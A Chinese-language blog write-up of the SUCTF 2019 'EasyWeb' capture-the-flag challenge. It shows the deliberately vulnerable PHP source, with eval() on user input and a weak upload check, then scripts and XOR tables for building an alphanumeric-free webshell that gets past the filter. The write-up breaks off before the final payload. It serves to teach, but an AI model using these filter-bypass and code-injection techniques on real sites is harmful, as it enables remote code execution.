EasyWeb

本文最后更新于:2023年6月5日 下午

[SUCTF 2019]EasyWeb

这一题挺不错的

进去后获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

仔细观察一下正则:

1
2
3
4
5
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);

一看就知道是无字母数字webshell,我们可以用取反、异或、自增、或、与进行构造

但是这里过滤了 ~ | & ,所以只有自增和异或了,但是自增会导致过长,所以采取异或

我们先写一个脚本来看看可以使用哪些字符:

1
2
3
4
5
6
7
8
9
10
11
# 获取可以使用哪些字符

for($i=0;$i<256;$i++) {
$c = chr($i);
if(!preg_match('/[\x00- 0-9A-Za-z\'"`~_&.,|=[\x7F]+/i',$c)) {
echo $c.": ".urlencode($i)." + ".urlencode($j).PHP_EOL;
}
}

输出:
!#$%()*+-/:;<>?@\]^{}

可见,我们可以使用 $ { } ; ^ 并且根据字符数限制,我们可以联想到使用GET传参的方式:$_GET[1]

但是这里中括号 [被过滤了,我们可以使用 {} 代替:$_GET{1} = $_GET[1]

但是这些字符都使用不了怎么办?

我们需要使用 ^ 进行异或构造:

1
2
3
4
5
6
7
8
9
10
$arr = ['_','G','E','T'];
$s = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_";
for($i=0;$i<256;$i++) {
for($j=0;$j<256;$j++) {
$c=chr($i^$j);
if(in_array($c,$arr)&&strpos($s,chr($i))==false&&strpos($s,chr($j))==false) {
echo $c." : ".urlencode(chr($i))." + ".urlencode(chr($j)).PHP_EOL;
}
}
}

输出有很多,但是由于这里有字符种类的限制,所以我们尽量使用有一个异或值是一样的:

1
2
3
4
5
6
7
8
_ : %FE  +  %A1
T : %FE + %AA
G : %FE + %B9
E : %FE + %BB
_ : %FF + %A0
T : %FF + %AB
G : %FF + %B8
E : %FF + %BA

(这里需要知道,url编码后为%FF的值与其他值进行异或的话,其实是将该值取反,因为其二进制值为全1)

于是我们可以将这些值拼接起来,调用get_the_flag函数:

`$


EasyWeb
https://leekosss.github.io/2023/08/24/EasyWeb/
作者
leekos
发布于
2023年8月24日
更新于
2023年6月5日
许可协议